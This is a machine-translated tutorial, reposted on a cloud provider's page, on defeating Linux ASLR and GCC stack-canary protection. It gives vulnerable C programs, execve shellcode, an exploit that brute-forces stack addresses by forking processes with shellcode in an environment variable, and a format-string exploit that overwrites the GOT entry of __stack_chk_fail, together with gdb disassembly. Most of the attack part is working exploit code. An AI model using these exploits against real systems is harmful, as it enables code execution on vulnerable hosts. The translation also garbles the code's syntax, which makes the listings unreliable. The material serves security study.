Break through aslr protection and compiler stack protection

Source: Internet
Author: User

Aslr (address space layout randomization) is a security protection technology for buffer overflow. By randomizing the layout of linear zones such as stack and shared library ing, attackers are prevented from locating attack code, to prevent overflow attacks. According to research, aslr can effectively reduce the success rate of buffer overflow attacks. Currently, mainstream operating systems such as Linux, FreeBSD, and windows have adopted this technology.

The following is a test of the address space layout on ubuntu7.04:

[Test. C]

# Include <stdlib. h>
# Include <unistd. h>

Main ()
{
Char * I;
Char buff [20];

I = malloc (20 );
Sleep (1000 );
Free (I );
}

Lk @ lk-LAPTOP :~ $ PS-Aux | grep Test
Warning: Bad PS syntax, perhaps a bogu '-'? See http://procps.sf.net/faq.html
Lk 8731 0.0 0.0 1632 pts/0 S +./test
Lk 8766 0.0 0.0 2884 pts/1 R + grep Test
Lk @ lk-LAPTOP :~ $ CAT/proc/8731/maps
08048000-08049000 R-XP 00000000 2256782/home/lk/desktop/test
08049000-0804a000 RW-P 00000000 08:01 2256782/home/lk/desktop/test
0804a000-0806b000 RW-P 0804a000 00:00 0 [heap]
B7e60000-b7e61000 RW-P b7e60000 0
B7e61000-b7f9c000 R-XP 00000000 12116/lib/tls/i686/cmov/libc-2.5.so
B7f9c000-b7f9d000 r -- p 0013b000 08:01 12116/lib/tls/i686/cmov/libc-2.5.so
B7f9d000-b7f9f000 RW-P 0013c000 08:01 12116/lib/tls/i686/cmov/libc-2.5.so
B7f9f000-b7fa2000 RW-P b7f9f000 0
B7fae000-b7fb0000 RW-P b7fae000 0
B7fb0000-b7fc9000 R-XP 00000000 12195/lib/ld-2.5.so
B7fc9000-b7fcb000 RW-P 00019000 12195/lib/ld-2.5.so
Bfe86000-bfe9c000 RW-P bfe86000 0 [Stack]
Ffffe000-fffff000 R-XP 00000000 0 [vdso]

Lk @ lk-LAPTOP :~ $ PS-Aux | grep Test
Warning: Bad PS syntax, perhaps a bogu '-'? See http://procps.sf.net/faq.html
Lk 8781 0.0 0.0 1632 pts/0 S +./test
Lk 8785 0.0 0.0 2884 pts/1 R + grep Test
Lk @ lk-LAPTOP :~ $ CAT/proc/8781/maps
08048000-08049000 R-XP 00000000 2256782/home/lk/desktop/test
08049000-0804a000 RW-P 00000000 08:01 2256782/home/lk/desktop/test
0804a000-0806b000 RW-P 0804a000 00:00 0 [heap]
B7e1e000-b7e1f000 RW-P b7e1e000 0
B7e1f000-b7f5a000 R-XP 00000000 12116/lib/tls/i686/cmov/libc-2.5.so
B7f5a000-b7f5b000 r -- p 0013b000 08:01 12116/lib/tls/i686/cmov/libc-2.5.so
B7f5b000-b7f5d000 RW-P 0013c000 08:01 12116/lib/tls/i686/cmov/libc-2.5.so
B7f5d000-b7f60000 RW-P b7f5d000 0
B7f6c000-b7f6e000 RW-P b7f6c000 0
B7f6e000-b7f87000 R-XP 00000000 12195/lib/ld-2.5.so
B7f87000-b7f89000 RW-P 00019000 12195/lib/ld-2.5.so
Bfe23000-bfe39000 RW-P bfe23000 0 [Stack]
Ffffe000-fffff000 R-XP 00000000 0 [vdso]

By comparing the process information under/proc after two operations, we can find that the address space mapped to the process stack and the shared library has changed significantly, this greatly reduces the success rate of predicting the shellcode address by using the ESP value. There was an article in phrack59 about how to use the return-into-libc method to break through aslr protection, but there are large restrictions, an article in milw0rm also introduced the method of turning to execute shellcode by searching the JMP % ESP command in the linux-gate.so.1, but since the ESP value to be restored by the current compiler is saved in the stack, therefore, it cannot be used any more. The following describes the common methods for storing shellcode in environment variables.

Putting shellcode in environment variables is a relatively early technology, but it still works well when it breaks through aslr protection. You need to understand the reasons, first, analyze the loading process of executable files. The execve () system call is provided in Linux to replace the context of the original process with the new context described in the executable file. The kernel portal of the execve () system call is sys_execve (), sys_execve () copies the path name of the executable file to the kernel space and calls do_execve (). It then passes the path name pointer, argv array pointer, envp array pointer, and pt_regs structure pointer to it. Do_execve () allocates a linux_binprm structure and fills it with the data in the executable file, including calling copy_strings_kernel () and copy_strings () copy the path name, environment variable string, and command line parameter string of the executable file to the kernel page pointed to by the page pointer array in the linux_binprm structure (copied from the back to the front), and then use search_binary_handler () search for and call the load function corresponding to the executable file. The ELF file corresponds to load_elf_binary ().

Struct linux_binprm {
Char Buf [binprm_buf_size];
Struct page * Page [max_arg_pages];
Struct mm_struct * mm;
Unsigned long P;/* Current top of MEM */
Int sh_bang;
Struct file * file;
Int e_uid, e_gid;
Kernel_cap_t cap_inheritable, cap_permitted, cap_effective;
Void * security;
Int argc, envc;
Char * filename;/* Name of binary as seen by procps */
Char * interp;/* Name of the binary really executed. Most
Of the time same as filename, but cocould be
Different for binfmt _ {MISC, script }*/
Unsigned interp_flags;
Unsigned interp_data;
Unsigned long loader, exec;
};

The main process of load_elf_binary () is to map the kernel page pointed to by the page pointer array back to the user space, and then map some sections of the executable file and interpreter to the user space, configure argc, argv [], envp [], and auxiliary vectors used by the interpreter on the user space stack. To map the page pointer array to the user space, setup_arg_pages () is called in load_elf_binary (). The corresponding code is as follows:

Retval = setup_arg_pages (bprm, randomize_stack_top (stack_top), executable_stack );

The value of stack_top is usually equal to 0xc0000000, that is, the top of the user space. randomize_stack_top () first checks whether aslr protection is enabled in the kernel. If so, call get_random_int () to obtain a random number, and it is connected to stack_rnd_mask (0x7ff) and then shifted to page_shift (12) to get random_variable. Finally, the stack_top is aligned by page boundary, and random_variable is subtracted to get the final stack_top value, the possible minimum value of stack_top is 0xc0000000-0x7ff000 = 0xbf801000.

Static unsigned long randomize_stack_top (unsigned long stack_top)
{
Unsigned int random_variable = 0;

If (current-> flags & pf_randomize )&&
! (Current-> personality & addr_no_randomize )){
Random_variable = get_random_int () & stack_rnd_mask;
Random_variable <= page_shift;
}
# Ifdef config_stack_growsup
Return page_align (stack_top) + random_variable;
# Else
Return page_align (stack_top)-random_variable;
# Endif
}

The value of stack_base is determined by the following code:

Stack_base = arch_align_stack (stack_top-max_arg_pages * page_size );
Stack_base = page_align (stack_base );

The max_arg_pages and page_size values are respectively 32 and 4096, that is, the total length of the parameter cannot exceed 32 pages. After the SP is subtracted from a random number except the remainder of 8192, the last four digits are 0 and then page_align is performed to obtain the final stack_base value. Thus, the possible minimum value of stack_base is 0xbf7df000.

Unsigned long arch_align_stack (unsigned long SP)
{
If (! (Current-> personality & addr_no_randomize) & randomize_va_space)
SP-= get_random_int () % 8192;
Return sp &~ 0xf;
}

Finally, setup_arg_pages () cyclically calls install_arg_page to map the kernel page pointed to by the page pointer array to the region starting with stack_base in the user space:

For (I = 0; I <max_arg_pages; I ++ ){
Struct page * page = bprm-> page [I];
If (PAGE ){
Bprm-> page [I] = NULL;
Install_arg_page (mpnt, page, stack_base );
}
Stack_base + = page_size;
}

The layout of the user space stack is as follows:

(Memory high address)
---------- Stack_top
+ ...... +
----------
+ Null +
----------
+ Path name +
----------
+ Environment variable string +
----------
+ Command line parameter string +
----------
+ ...... +
---------- Stack_base
(Low memory address)

Through the above analysis, we can obtain: (1) when the same environment variable is passed to the program, even if the value of stack_base is not fixed, however, the offset of the Environment Variable string in the page is a fixed value, that is, the three digits at the end of the Environment Variable string address are fixed. (2) because the possible minimum value of stack_base is not less than 0xbf7df000, the address of the Environment Variable string is always higher than 0xbf7df000.

When shellcode is passed as an environment variable to the attacked program, the last three digits of the shellcode address can be determined by the path name length and shellcode length, while the first two digits are fixed BF, the range of the third digit in the middle is 7df ~ Fff, this is only a small interval. If multiple processes are enabled to try with different addresses at the same time, it will soon hit our shellcode.

The following is a demo program:

[Vul. C]

# Include <stdio. h>
# Include <stdlib. h>
# Include <string. h>

Int main (INT argc, char ** argv)
{
Char buff [200];

Printf ("SCD (% P)/n", getenv ("SCD "));
Strcpy (buff, argv [1]);
}

[Shellcode]

. Section. Data
. Globl _ start
_ Start:
JMP 2f
1:
Popl % ESI
Xorl % eax, % eax
Movb % Al, 0x3 (% Esi)
Movl % ESI, 0x4 (% Esi)
Movl % eax, 0x8 (% Esi)
Movl 0x8 (% Esi), % edX
Leal 0x4 (% Esi), % ECx
Movl % ESI, % EBX
Movb $ 0xb, % Al
Int $0x80
2:
Call 1b
. String "run"

[Run. C]

# Include <stdlib. h>

Main ()
{
System ("touch test ");
System ("killall exp ");
}

[Exp. C]

# Include <stdio. h>
# Include <stdlib. h>
# Include <unistd. h>
# Include <sys/types. h>
# Include <sys/Wait. H>

Char SCD [] = "scd =/x90/x90/x90/x90/xeb/X18/x5e/x31/xc0/x88/X46/x03/x89/x76/x04/x89 /X46/x08/x8b/x56/x08/x8d/x4e/x04/x89/xf3/xb0/x0b/XCD/X80/xe8/xe3/xFF/xffrun ";

Int main (INT argc, char ** argv)
{
Int I, j, ADDR;
Char buff [240];
Char * sargv [] = {"vul", buff, null };
Char * senvp [] = {scd, null };

ADDR = 0xbfa81fd1;
For (I = 0; I <20; I ++)
{
Printf ("Try scd addr 0x % x/N", ADDR );
* (Int *) SCD + 1) = ADDR + 4;
For (j = 0; j <60; j ++)
* (Int *) buff + J) = ADDR + 4;
If (Fork () = 0)
{
While (1)
{
If (Fork () = 0)
{
Execve (sargv [0], sargv, senvp );
Exit (exit_failure );
}
Wait (null );
}
}
ADDR + = 0x1000;
}
}

Among them, vul. C is a vulnerability program, and shellcode is used to execute the run program. The run program creates a test file in the current directory and ends the exp process. The page size is 4096 minus the length of the NULL pointer 4, minus the length of the path name "vul" 4 and the length of the SCD array 43, plus the length of the first 4 characters, finally, we can get the shellcode offset value fd1 on the page, and start 20 processes to try with different addresses such as 0xbfa81fd1. Soon the test file will appear in the directory, it proves that our shellcode was executed as scheduled.

 

To prevent Stack Overflow attacks, high-version GCC usually adds protection code to functions with local variables containing char arrays during compilation:

0x08048481 <main + 29>: mov % GS: 0x14, % eax
0x08048487 <main + 35>: mov % eax, 0xfffffff8 (% EBP)

Save a canary word in the stack and pass the following command when the function returns:

0x080484dd <main + 121>: mov 0xfffffff8 (% EBP), % edX
0x080484e0 <main + 124>: XOR % GS: 0x14, % edX
0x080484e7 <main + 131>: je 0x80484ee <main + 138>
0x080484e9 <main + 133>: Call 0x80483a8 <__stack_chk_fail @ PLT>

Check whether the value is overwritten to determine whether stack overflow occurs and switch to the corresponding processing process. In addition, GCC also adjusts the location of local variables and moves the char array to a higher height to prevent overwriting other important variables when overflow occurs. These measures increase the difficulty of overflow attacks to a certain extent, but may also be bypassed in certain situations, such:

[Vul. C]

# Include <stdio. h>
# Include <stdlib. h>
# Include <string. h>
# Include <fcntl. h>
# Include <unistd. h>
# Include <sys/types. h>
# Include <sys/STAT. h>

Int main (INT argc, char ** argv)
{
Int FD;
Char buff [200];

Printf ("SCD (% P)/n", getenv ("SCD "));
Strcpy (buff, argv [1]);
FD = open ("/dev/null", o_rdwr );
Dup2 (FD, 1 );
Printf (buff );
}

When the write arbitrary memory address vulnerability exists (some stack overflow vulnerabilities may also cause arbitrary memory addresses to be written. For demonstration convenience, the format string vulnerability is used ), you can modify the got entry corresponding to _ stack_chk_fail to change the execution process of the program.

Lk @ lk-LAPTOP :~ /Desktop $ GDB vul-Q
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1 ".
(GDB) disas main
Dump of worker er code for function main:
0x080484a4 <main + 0>: Lea 0x4 (% ESP), % ECx-> ECx equals to ESP + 4
0x080484a8 <main + 4>: and $0xfffffff0, % ESP
0x080484ab <main + 7>: pushl 0 xfffffffc (% ECx)
0x080484ae <main + 10>: Push % EBP
0x080484af <main + 11>: mov % ESP, % EBP
0x080484b1 <main + 13>: Push % ECx-> Save the ECX value in the stack
0x080484b2 <main + 14>: Sub $0xe4, % ESP-> the ESP is equal to the ebp-232
0x080484b8 <main + 20>: mov 0x4 (% ECx), % eax
0x080484bb <main + 23>: mov % eax, 0xffffff28 (% EBP)-> Save the pointer to the argv pointer array at the ebp-216
0x080484c1 <main + 29>: mov % GS: 0x14, % eax
0x080484c7 <main + 35>: mov % eax, 0xfffffff8 (% EBP)-> Save canary word at the ebp-8
0x080484ca <main + 38>: XOR % eax, % eax
0x080484cc <main + 40>: movl $ 0x804862c, (% ESP)
0x080484d3 <main + 47>: Call 0x8048398 <getenv @ PLT>
0x080484d8 <main + 52>: mov % eax, 0x4 (% ESP)
0x080484dc <main + 56>: movl $0x8048630, (% ESP)
0x080484e3 <main + 63>: Call 0x80483d8 <printf @ PLT>
0x080484e8 <main + 68>: mov 0xffffff28 (% EBP), % eax
0x080484ee <main + 74>: add $0x4, % eax
0x080484f1 <main + 77>: mov (% eax), % eax
0x080484f3 <main + 79>: mov % eax, 0x4 (% ESP)-> place argv [1] At ESP + 4
0x080484f7 <main + 83>: Lea 0xffffff30 (% EBP), % eax-> buff location at the ebp-208
--- Type <return> to continue, or q <return> to quit ---
0x080484fd <main + 89>: mov % eax, (% ESP)-> put the buff pointer to ESP
0x08048500 <main + 92>: Call 0x80483c8 <strcpy @ PLT>-> execute strcpy
0x08048505 <main + 97>: movl $0x4 (% ESP)
0x0804850d <main + 105>: movl $0x8048639, (% ESP)
0x08048514 <main + 112>: Call 0x8048378 <open @ PLT>
0x08048519 <main + 117>: mov % eax, 0xffffff2c (% EBP)
0x0804851f <main + 123>: movl $0x4 (% ESP)
0x08048527 <main + 131>: mov 0xffffff2c (% EBP), % eax
0x0804852d <main + 137>: mov % eax, (% ESP)
0x08048530 <main + 140>: Call 0x80483b8 <dup2 @ PLT>
0x08048535 <main + 145>: Lea 0xffffff30 (% EBP), % eax
0x0804853b <main + 151>: mov % eax, (% ESP)-> put the buff pointer to ESP
0x0804853e <main + 154>: Call 0x80483d8 <printf @ PLT>-> execute printf
0x08048543 <main + 159>: mov 0xfffffff8 (% EBP), % edX
0x08048546 <main + 162>: XOR % GS: 0x14, % edX-> compare whether canary word is changed
0x0804854d <main + 169>: je 0x8048554 <main + 176>-> Returns normal
0x0804854f <main + 171>: Call 0x80483e8 <__stack_chk_fail @ PLT>-> otherwise, it will be switched to failure processing.
0x08048554 <main + 176>: add $0xe4, % ESP
0x0804855a <main + 182>: Pop % ECx-> restore ECx Value
0x0804855b <main + 183>: Pop % EBP
0x0804855c <main + 184>: Lea 0 xfffffffc (% ECx), % ESP-> ESP equals ecx-4
0x0804855f <main + 187>: Ret
End of worker er dump.
(GDB) x/I 0x80483e8
0x80483e8 <__stack_chk_fail @ PLT>: JMP * 0x8049758-> the memory address to be written is 0x8049758
(GDB)

[Run. C]

# Include <stdlib. h>

Main ()
{
System ("touch test ");
}

[Exp. C]

# Include <stdio. h>
# Include <string. h>
# Include <unistd. h>

Char SCD [] = "scd =/x90/x90/x90/x90/xeb/X18/x5e/x31/xc0/x88/X46/x03/x89/x76/x04/x89 /X46/x08/x8b/x56/x08/x8d/x4e/x04/x89/xf3/xb0/x0b/XCD/X80/xe8/xe3/xFF/xffrun ";

Int main (INT argc, char ** argv)
{
Int I, j, ADDR;
Char buff [240];
Char * sargv [] = {"vul", buff, null };
Char * senvp [] = {scd, null };

ADDR = 0xbfffffd1;
* (Int *) buff) = 0x8049758;
Strcpy (buff + 4, "% 700000000u % 700000000u % 700000000u % 700000000u % ");
ADDR = addr-2800000004;
J = strlen (buff );
Sprintf (buff + J, "% UU", ADDR );
Strcat (buff, "% N ");
For (I = strlen (buff); I <sizeof (buff); I ++)
Buff [I] = 'a ';
Buff [239] = '/0 ';
Execve (sargv [0], sargv, senvp );
}

In addition, after testing, when the char array is smaller than 8, GCC will not add Protection Code during the compilation process. In this case, the traditional method can overflow. In ubuntu and Debian systems, Canary word is a fixed number 0xff0a0000. Therefore, this protection may be bypassed through multiple overwrites or memcpy-based stack overflow.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.